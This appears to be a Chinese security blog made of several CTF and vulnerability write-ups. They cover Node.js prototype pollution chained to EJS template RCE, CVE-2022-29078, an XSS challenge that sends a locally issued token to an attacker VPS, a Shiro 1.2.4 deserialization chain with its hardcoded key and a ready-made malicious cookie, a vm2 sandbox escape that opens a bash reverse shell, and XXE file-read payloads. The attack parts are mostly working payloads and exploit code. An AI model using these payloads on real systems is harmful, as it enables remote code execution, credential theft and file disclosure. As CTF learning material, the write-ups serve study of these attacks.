wubba lubba dub dub.
post @ 2023-12-28

题目链接

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();

function merge(target, source) {
for (let key in source) {
// Prevent prototype pollution
if (key === '__proto__') {
throw new Error("Detected Prototype Pollution")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))

app.all("/login", (req, res) => {
if (req.method == 'POST') {
console.log(req.body)
// save userinfo to session
let data = {};
try {
merge(data, req.body)
} catch (e) {
return res.render("login", {message: "Don't pollution my shared diary!"})
}
req.session.data = data
let user = {};
user.password = req.body.password;
if (user.password=== "testpassword") {
user.role = 'admin'
}
if (user.role === 'admin') {
req.session.role = 'admin'
return res.redirect('/')
}else {
return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
}
}
res.render('login', {message: ""});
});

app.all('/', (req, res) => {
if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
return res.redirect("/login")
}
if (req.method == 'POST') {
let diary = ejs.render(`<div>${req.body.diary}</div>`)
req.session.diary = diary
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
}
return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})

app.listen(8888, '0.0.0.0');

看到12行过滤了__proto__ 明显为原型链污染

64行中存在ejs SSTI 可以通过<% code here %>执行代码 <%= var%><%- var%> 查看变量

EXP

0x1

过滤了__proto__ 仍然可以通过constructor.prototype来构造我们的payload 污染原型链

目的即为role=admin, data.username!=null

payload: 注意发包的时候将content-type 改为application/json

1
{"username":"admin", "password":"admin", "constructor":{"prototype":{"role":"admin", "data":{"username":"admin"}}}}

然后进入diary界面

payload:

1
diary=<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>

0x2

也可以直接利用ejs.render本身存在的漏洞实现RCE 参考:ejs原型链污染RCE

payload:

1
{"constructor": {"prototype": {"role":"admin", "data":{"username":"admin"}, "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');"}},"username":"admin","password":"admin"}

直接在包体中可以获得flag

Read More
post @ 2023-12-25

需要先理解原型链污染 可以看这篇 浅析CTF中的Node.js原型链污染

环境搭建

1
2
npm install express
npm install ejs@3.1.9

测试代码

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const express = require('express');
const ejs = require('ejs');
const app = express();

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}


app.set('views', __dirname);
app.set('view engine', 'ejs');

var malicious_payload = '{"__proto__":{"client":true, "escapeFunction":"1; return global.process.mainModule.require(\'child_process\').execSync(\'ls\')"}}';
merge({}, JSON.parse(malicious_payload));
app.all('/', (req, res) => {
return res.render('./views/diary.ejs', {diary: "diary"});
})

app.listen(4427, '0.0.0.0');

diary.ejs

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= diary%></h1>
</body>
</html>

启动后跟进调试 调用链条:res.render() -> app.render() -> tryRender() -> view.render() -> View.engine() -> tryHandleCache() -> handleCache() -> exports.compile() -> templ.compile()

ejs.js compile中为核心渲染逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
compile: function() {
/** @type {string} */
var src;
/** @type {ClientFunction} */
var fn;
var opts = this.opts;
var prepended = '';
var appended = '';
/** @type {EscapeCallback} */
var escapeFn = opts.escapeFunction;
/** @type {FunctionConstructor} */
var ctor;
/** @type {string} */
var sanitizedFilename = opts.filename ? JSON.stringify(opts.filename) : 'undefined';

if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
/***************************************************
这里对outputFunctionName进行检测
_JS_IDENTIFIER = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;
相当于只能存在字母数字下划线和$ 且不以数字开头
***************************************************/
if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
throw new Error('outputFunctionName is not a valid JS identifier.');
}
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts.localsName && !_JS_IDENTIFIER.test(opts.localsName)) {
throw new Error('localsName is not a valid JS identifier.');
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (!_JS_IDENTIFIER.test(name)) {
throw new Error('destructuredLocals[' + i + '] is not a valid JS identifier.');
}
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output;' + '\n';
this.source = prepended + this.source + appended;
}

if (opts.compileDebug) {
src = 'var __line = 1' + '\n' +
' , __lines = ' + JSON.stringify(this.templateText) + '\n' +
' , __filename = ' + sanitizedFilename + ';' + '\n' +
'try {' + '\n' +
this.source +
'} catch (e) {' + '\n' +
' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n' +
'}' + '\n';
} else {
src = this.source;
}

if (opts.client) {
/***************************************************
opts.client为true才会进入逻辑 因此原型链污染还要污染client
这里没有对escapeFn进行检测 且用于构造代码
第10行有 var escapeFn = opts.escapeFunction; 则也可通过原型链污染控制
***************************************************/
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}

if (opts.strict) {
src = '"use strict";\n' + src;
}
if (opts.debug) {
console.log(src);
}
if (opts.compileDebug && opts.filename) {
src = src + '\n' +
'//# sourceURL=' + sanitizedFilename + '\n';
}

try {
if (opts.async) {
// Have to use generated function for this, since in envs without support,
// it breaks in parsing
try {
ctor = (new Function('return (async function(){}).constructor;'))();
} catch (e) {
if (e instanceof SyntaxError) {
throw new Error('This environment does not support async/await');
} else {
throw e;
}
}
} else {
ctor = Function;
}
/***************************************************
利用src构造函数
***************************************************/
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
} catch (e) {
// istanbul ignore else
if (e instanceof SyntaxError) {
if (opts.filename) {
e.message += ' in ' + opts.filename;
}
e.message += ' while compiling ejs\n\n';
e.message += 'If the above error is not helpful, you may want to try EJS-Lint:\n';
e.message += 'https://github.com/RyanZim/EJS-Lint';
if (!opts.async) {
e.message += '\n';
e.message += 'Or, if you meant to create an async function, pass `async: true` as an option.';
}
}
throw e;
}

// Return a callable function which will execute the function
// created by the source-code, with the passed data as locals
// Adds a local `include` function which allows full recursive include
var returnedFn = opts.client ? fn : function anonymous(data) {
var include = function(path, includeData) {
var d = utils.shallowCopy(utils.createNullProtoObjWherePossible(), data);
if (includeData) {
d = utils.shallowCopy(d, includeData);
}
return includeFile(path, opts)(d);
};
return fn.apply(opts.context,
[data || utils.createNullProtoObjWherePossible(), escapeFn, include, rethrow]);
};
if (opts.filename && typeof Object.defineProperty === 'function') {
var filename = opts.filename;
var basename = path.basename(filename, path.extname(filename));
try {
Object.defineProperty(returnedFn, 'name', {
value: basename,
writable: false,
enumerable: false,
configurable: true
});
} catch (e) {
/* ignore */ }
}
return returnedFn;
}

最终拼接构造完的函数会返回并被调用 进而实现命令执行

补充

也即 CVE-2022-29078
ejs<=3.1.6中没有对outputFunctionName进行检测 因此可以直接对其注入payload

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('ls');var __tmp2"}}

参考链接

原型链污染配合ejs模板引擎RCE分析

Read More
post @ 2023-12-20

题目链接

源码分析

register 会用post过去的username,flag和secret生成token 并直接回显

如果发起请求的ip是本地的话 flag为真 否则是假的

1
2
3
4
5
6
7
8
9
app.post("/user/register", (req, res) => {
const username = req.body.username
let flag = "hgame{fake_flag_here}"
if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
flag = "hgame{true_flag_here}"
}
const token = jwt.sign({ username, flag }, secret)
res.json({ token })
})

其他路由都要求经过auth函数,明显需要在包头中添加authorization: token 否则跳转至根目录

1
2
3
4
5
6
7
8
9
10
11
12
13
function auth(req, res, next) {
const token = req.headers["authorization"]
if (!token) {
return res.redirect("/")
}
try {
const decoded = jwt.verify(token, secret) || {}
req.user = decoded
} catch {
return res.status(500).json({ msg: "jwt decode error" })
}
next()
}

/user/info 可以直接查看flag

两步:1. 获取token 2.传token看flag

尝试了x-forwarded-for等很多伪造ip方式,都不行 这里的req.ip应该是不可伪造的

1
2
3
app.get("/user/info", auth, (req, res) => {
res.json({ username: req.user.username, flag: req.user.flag })
})

/button/share 中为关键逻辑

它会访问/button/preview 并且参数可控 那么也就相当于本地访问 正好满足我们的要求 localStorage中的token存放生成后的token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post("/button/share", auth, async (req, res) => {
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: ['--no-sandbox']
});
const page = await browser.newPage()
const query = querystring.encode(req.body)
await page.goto('http://127.0.0.1:9090/button/preview?' + query)
await page.evaluate(() => {
return localStorage.setItem("token", "jwt_token_here")
})
await page.click("#button")

res.json({ msg: "admin will see it later" })
})

访问preview路由 明显存在XSS漏洞 但是过滤了alert 我们可以通过base64绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.get("/button/preview", (req, res) => {
const blacklist = [
/on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
]
for (const key in req.query) {
for (const item of blacklist) {
if (item.test(key.trim()) || item.test(req.query[key].trim())) {
req.query[key] = ""
}
}
}
res.render("preview", { data: req.query })
})

1
2
/button/preview?123"><script>eval(atob('YWxlcnQoMik%3D'))</script>
// alert(2)

攻击思路

  1. 通过share路由 构造好payload 服务器则会跳转至preview利用XSS执行我们的代码
  2. 代码中先跳转至register获得服务器本地token然后外带至我们的vps
  3. 得到token后对应访问/usr/info即可获取flag
1
2
3
4
5
6
7
8
9
'''
POST /button/share

Authorization: [some_token_here]

{"border-radius":"0px\"><script>eval(atob('JC5wb3N0KCIvdXNlci9yZWdpc3RlciIseyJ1c2VybmFtZSI6ImFkbWluIn0sZnVuY3Rpb24ocmVzdWx0KXtkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovLzQ3Lnh4Lnh4Lnh4Ojk5OTk/Yz0nK0pTT04uc3RyaW5naWZ5KHJlc3VsdCl9KTs='))</script>"}
'''
# $.post("/user/register",{"username":"admin"},function(result){document.location='http://47.xx.xx.xx:9999?c='+JSON.stringify(result)});
# vps上开启监听:nc -lvnp 9999; 注意收到的token要去掉双引号%22
Read More
post @ 2023-12-13

Shiro反序列化

环境搭建

直接从github上clone代码到本地。

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2。

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

在IDEA(注意得是ultimate)中导入mvn项目, 并配置tomcat环境
img

漏洞分析

根据漏洞描述,Shiro≤1.2.4版本默认使用CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:
· 获取Cookie中rememberMe的值
· 对rememberMe进行Base64解码
· 使用AES进行解密
· 对解密的值进行反序列化

由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager对恶意的rememberMe进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。

以下流程可以的话一定自己动调 会更加清晰容易理解

加密过程

先分析一下加密的过程。
在org/apache/shiro/mgt/DefaultSecurityManager.java代码的rememberMeSuccessfulLogin方法下断点。
img

跟进onSuccessfulLogin方法,具体实现代码在AbstractRememberMeManager.java。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);

//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}

调用forgetIdentity方法对subject进行处理,subject对象表示单个用户的状态和安全操作,包含认证、授权等( http://shiro.apache.org/static/1.6.0/apidocs/org/apache/shiro/subject/Subject.html)。继续跟进forgetIdentity方法,getCookie方法获取请求的cookie,接着会进入到removeFrom方法。
img

removeForm主要在response头部添加Set-Cookie: rememberMe=deleteMe
img

然后再回到onSuccessfulLogin方法中,如果设置rememberMe则进入rememberIdentity。
img

rememberIdentity方法代码中,调用convertPrincipalsToBytes对用户名进行处理。

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}

进入convertPrincipalsToBytes,调用serialize对用户名进行处理。

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

跟进serialize方法来到org/apache/shiro/io/DefaultSerializer.java,很明显这里对用户名进行了序列化。
img

再回到convertPrincipalsToBytes,接着对序列化的数据进行加密,跟进encrypt方法。加密算法为AES,模式为CBC,填充算法为PKCS5Padding。
img

getEncryptionCipherKey获取加密的密钥,在AbstractRememberMeManager.java定义了默认的加密密钥为kPH+bIxk5D2deZiIxcaaaA==。
img

加密完成后,继续回到rememberIdentity,跟进rememberSerializedIdentity方法。
img

对加密的bytes进行base64编码,保存在cookie中。至此,加密的流程基本就分析完了。
img

解密过程

对cookie中rememberMe的解密代码也是在AbstractRememberMeManager.java中实现。直接在getRememberedPrincipals下断点。
img

getRememberedSerializedIdentity返回cookie中rememberMe的base64解码后的bytes。
img

继续调用convertBytesToPrincipals方法对解码后的bytes处理,跟进convertBytesToPrincipals方法,调用decrypt方法对bytes进行解密。

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

解密后得到的结果为序列化字符串的bytes。

然后进入到deserialize方法进行反序列化,即用户可控的rememberMe值经过解密后进行反序列化从而引发反序列化漏洞。

漏洞利用

如果想通过反序列化实现RCE 最好在shiro本身依赖当中寻找利用链

这里利用到commons-beanutils 中的 PropertyUtils.getProperty 它可以对一个对象调用对应的get方法来获取成员变量的值 测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.commons.beanutils.PropertyUtils;
public class CBTest {
public static void main(String[] args) throws Exception {
Person p = new Person(18, "aa");
System.out.println(PropertyUtils.getProperty(p, "age")); // 18
}

public static class Person {
private int age;
private String name;

Person(int a, String n) {
this.age = a;
this.name = n;
}

public int getAge() throws Exception {
Runtime.getRuntime().exec("calc");
return age;
}

public String getName() {
return name;
}
}
}

跟进getProperty的逻辑发现它相当于就是拼接get和首字母大写后的成员变量 后得到函数名,搜索调用

0z1

刚好TemplatesImpl 中有get方法并且会执行newTransformer() (作用可以看JAVA反序列化CC3

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

那么我们可以构造类似PropertyUtils.getProperty(templates, "outputProperties")来触发执行

0x2

接着追踪调用了getProperty的地方 有三处 但只有BeanComparator可以序列化 所以跟进

1
2
3
4
5
6
7
8
9
10
11
12
public int compare( Object o1, Object o2 ) {
if ( property == null ) {
return comparator.compare( o1, o2 );
}

try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
// ...
}

参数均可控

0x3

BeanComparator 也是一种Comparator 用于比较类对象间大小 PriorityQueue在反序列化时如果有comparator会自动调用它的compare方法

构造(注意序列化的时候不能有数组类,否则反序列化时会报错 因此ChainedTransformer不再可用 具体可见 Shiro反序列化漏洞笔记三(解疑篇)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public static void exploit() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field bytecode = tc.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);

byte[][] bytes = new byte[1][];
bytes[0] = Files.readAllBytes(Paths.get("E:\\path\\to\\target\\classes\\Test.class"));

bytecode.set(templates, bytes);

Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "gg");

TransformerFactoryImpl tfi = new TransformerFactoryImpl();
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, tfi);
/*************************
这里使用new AttrCompare()的原因:
BeanComparator构造方法如果不指定comparator会使用CC里面的ComparableComparator 有可能找不到报错
AttrCompare也是一种Comparator 并且public, serializable
************************/
BeanComparator bc = new BeanComparator("outputProperties", new AttrCompare());

/***********************
这里先不放BeanComparator 因为add过程中会调用 可能会报错
同理add时先不add templates
最后序列化之前设置好各个成员变量为目标变量 (反序列化时操作的是目标变量即可)
***************************/
PriorityQueue<Object> pq = new PriorityQueue(2);
pq.add(1);
pq.add(1);

Field cprtField = PriorityQueue.class.getDeclaredField("comparator");
cprtField.setAccessible(true);
cprtField.set(pq, bc);

Field queueArray = PriorityQueue.class.getDeclaredField("queue");
queueArray.setAccessible(true);
queueArray.set(pq, new Object[]{templates, templates});
// serialize(pq);
// unserialize("bin");
}

0x4

由序列化后的文件生成cookie 并发送触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void generate(String filename) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get(filename));

AbstractRememberMeManager arm = new CookieRememberMeManager();
Class c = AbstractRememberMeManager.class;
Method encryptMethod = c.getDeclaredMethod("encrypt", byte[].class);
encryptMethod.setAccessible(true);
byte[] encrypted = (byte[]) encryptMethod.invoke(arm, bytes);

String cookie = Base64.encodeToString(encrypted);
System.out.println(cookie);
}
// iYaEQ6iThGKKETDKvrBK71hkIPthnaicJuSeh/uyWHkwS9PsbWfNgr1csVHHKgWJlX+FCGIEs+hrcNTwJu/Qzr1tES5iNkb73nZ9e7n4UaKfc/WVXNxX2rBsbvivXedjjrX90gQ6Q5tAzu01FGdrzLM4UO7Dh3ZSWIOW+jimfBne5irMhPx4Pi8pTiSgZOsBEg9cyTJGisOFNPEWtDIPenYyIaOgO5wIpTIy6H/qkkhCDSK55YhqUvOms8H5t2fAq+K5n4VYKrsZxdtViHJjaP4Sn7O0mNR7QBPtqQsNazD85cHcbTC+aO6lfJueZnFloh0lUcK4/BeyBfAroAZ4z+7rVGLetN3yDE55fdSx3clcjW8uK05tekuItiX+eeSu4JHWNHePAI0sTS9MqLGwNLe3OQ9sDWnpul4w1G2Kfca1es5Idn5DWSbWwMuGf5XRr39wLiRKO+iita03+6L4DicgR45t6dRbvrVBh/l8Iq/1R4tJ1i7+5jLnNtoCUM3lCUXDMfed31q5fMe/C7djO4Mw+5MpRY+mhgE9cDoqt8yPBFPCWLudzVJigggPqr1BL2PA8J9UEjVbwEuKtvx1N4SfSf6tAzTRMUsal9taSVCpYSlBbGyqfBNMEGhEQu7uyGX0cm+0p4qEGz5YVzqpR2KfX8FwAfW3D+ioF/nYzJADY453AtB1ljcGjHjd92s+aviV8q6e6iPaD0aYPwuUUqD61NQQHgzfsjdkcgz7d7vmhQ+trdkt1id+hbzEXvkYZZuDBi/KMF/HjxEHfCSSiAMaZnzNIswQMXSHKXCdOt0MLR+k2r/5S892Z8sfe1+t+dDoCVGyKxKx4vYALo5+mh6AIEirITbxIcW3+lDvHNs/tvqf3/YvCn2yWsYSY5wL/SIe375ePPuA5uweCe25IXttahpOZw/14/pF7mbsraWRLe/Tr81mZ1150Sxf95mFl2E9URvohKLTzGWb4ton6v61zUjkebQR5UZm1cUMjaYG82SlHpoNe4VF+q8cWkxBQLDdSSNchhOkhSH9/8O7gjas4T1vDtD0e4WRJFCo6t+6LPKMyZ6l8/olomHXLUA5AlsXBMtWmGn5yxlQog+oPsjvX4DvjLzJmHYqO30wAdH3Y1n+Yi2S/Ql5Ktwbyy6iazhlD6yMtajhaxroUGQG8JtJZCs4EBLIAwvBuiDpCnyN3vpHA3NB2zfra0Nb7CQFUxgS7zWGpB47PCgBVk49N5FyIkjZt8EWinbNG71rQAaTR3/fYwHaIegFvder+TxwvfPIz4aoyJQVZdcEI30FUDsYIleF+DKhAiWN0SAAy4Q8va2fzB7tuqq34llMe+rbSX+1luznzB2rwovcI1jUEMMrRWNmfq81PF6XEos1uvC2SLOb6cpRuBKmUkjk6SBVnTxdSYPwIZkRucv6PUXbJtOuWZVBvvxMsKBbhHNLkakzT8HH28uzZkPKO33CAOWQjlZW7ymND+nmvP0sjZdWzDXZUBEf7QAZDVddsHWFdf0Z8i3cIta1lo4dywH/EVMdqVaJ6MiX4/q3RHYe3PrdRo1UW4yKdqzYqSEjMjhuVTHCWmTURpc1AuFJSM9p/7uC9owKA6Grh1UP9wy82jbD9fklS/Z0Vnrh9cCPZ7s3q7jQx3fr5GdVTPvDGTkJZDhoOLs7zHh/giaBZIn8PCOhbZqlE2PAHOV9wX1syj0QJpJBijLlAIKeGoFcU1nTD3M1IVURi/Wk6zeQF5zs4zFr1W681Xj0u72LSkHDZuyF2dGOuUgJ2Ej/B/q7i3fDo42Wi/cI2sW4d00TN60YJEHf+xIE3qbmcBiQJgP8DeOF2hn7S8u1JPyFWoSHDV9pBClp8EaRmcxbGqzu0ZZgDfnfo9i2JBD5CmBBoXkXHaHF7VSALywv5AOS2q7YKyiHZJafpmC9QQIpR+8U5t+at8sZSqVjSg76Nv+sPST26XRxPoY315CVNmRNIPWy2BpjD1VsCKB/uOkQY8JtB++K8WdbfnnBZiJJRUoXm8X/+YNoH73dpO2wSmNPS/h0muq5aVrORp9aeztR791ZKx/q5SjvINWfSW0f3Rr7BU135D+EDBbWuRSKR3CS0o8bvVJ6zKVO7AML/Mq77+u6dM192cNIJ0cFwHtGsnL8kkJcNq8cvoZxQcBP52POwSndyzNnxzD/sR/xnlXA+6QAYZW/JUVbnHK5RxnZrYMIYwuEYzO6v1acHTJNoo2tWecLUFBYMLCCLcfwd90TjGreb5CMMtTwMGNr2tsB7K6FspVrs5Tk4sAxK+h4nhS36CTMK0hDsd2Zww/KXbfh5UVBiFUSd4eL20BxvwYFtc3wF38KC1+fqjuh+uKFttRNIu5UigyrgcTgHulln9V8KnqmVvLFnNONU8iuZBgjGm2EA8kzZ2uh0XwQSsJdTiPqy85QwmM+IFurXX5DwGyHZ3PRPMrQclL0vwsFPg0srK0nwAe4e/REgVDCvfIUtGtqbq1JNpViET4jqz7qFJ4L/se45xI4qdrI5ZLRXcDmmJu9IYCErK22AkVEJBu1hyp204MvU3/8TO81OPbrtx0YU+poZCp0L0xKhE336gf5OIQWmPe+YfGJ1g2CgtrtrbzCIK3yEXww6x9JBT7RUGyMjYNiIc9JZ20LA0BxrDnHPtHJHqjPlVua3RRFszxYav2iGmkTQhdRQKJ2oj+LvWgV9UYFH54nWoG399930ZOf+SLtIGH5k3JjkmLWhXieoWR0vNsL82/Sq+xhafCBAw3yZyJf2PINhSQkdqzaDnJPUK1nNtLrnbSw4z32vMJ5Xa4RwNliYFHgYXl4GL6hUjmy8u0TrgVXcaxrKuvcpMDrMcFEbsacdJ8Xknxi0sfrpJ5HVsGwiUQYXMCx

Cookie中最好删除JSESSID再发送

img

参考

Shiro反序列化漏洞(三)-shiro无依赖利用链

Shiro反序列化漏洞笔记一(原理篇)

Read More
post @ 2023-11-30

访问/app.js得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}


app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});

app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})

app.listen(3000, function () {
console.log('start listening on port 3000');
});

merge函数明显是要利用原型链污染

body中需要设置shit值来执行42# backdoor() 同时原型链中要构造好shellcode来执行

但是shellcode是在vm2沙盒中执行的 关于沙盒逃逸可以看 https://xz.aliyun.com/t/11859

最后payload:

1
2
{"shit":"true","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"}
}
Read More

xxe

post @ 2023-11-24

一、基础知识

XML

XML即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。其于HTML的区别是:

  • HTML 被设计用来显示数据
  • XML 被设计用来传输和存储数据

XML文档结构包括:

  • XML声明
  • DTD文档类型定义(可选)
  • 文档元素

先看一下典型的xml文档:

1
2
3
4
5
6
7
8
9
10
11
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>

<!--文档元素-->
<foo>&xxe;</foo>

DTD概念及声明/引用方式

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

DTD一般认为有两种引用或声明方式:

  • 1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
  • 2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

DTD实体有以下几种声明方式

内部实体

1
2
3
4
5
<!DOCTYPE note [
<!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->

参数实体

1
2
3
4
5
6
<!DOCTYPE note> [
<!ENTITY % b "<!ENTITY b1 "awsl">">
%b;
]>
<note>&b1</note>
<!-- awsl -->
  • 参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
  • 其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用

外部实体

1
2
3
4
5
<!DOCTYPE note> [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
img
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
img

外部参数实体

1
2
3
4
5
6
<!DOCTYPE note> [
<!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
%d;
]>
<note>&d1</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
1
2
<!-- http://47.106.143.26/xml.dtd -->
<!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">

二、XML外部实体注入(XML External Entity)

1、任意文件读取

最简单也是最常用的利用方式
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。

有回显

恶意引入外部实体

直接读靶机文件

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY rabbit SYSTEM "file:///flag" >
]>
<user><username>&rabbit;</username><password>123</password></user>
恶意引入外部参数实体
1
2
3
4
5
6
<?xml version="1.0" ?>
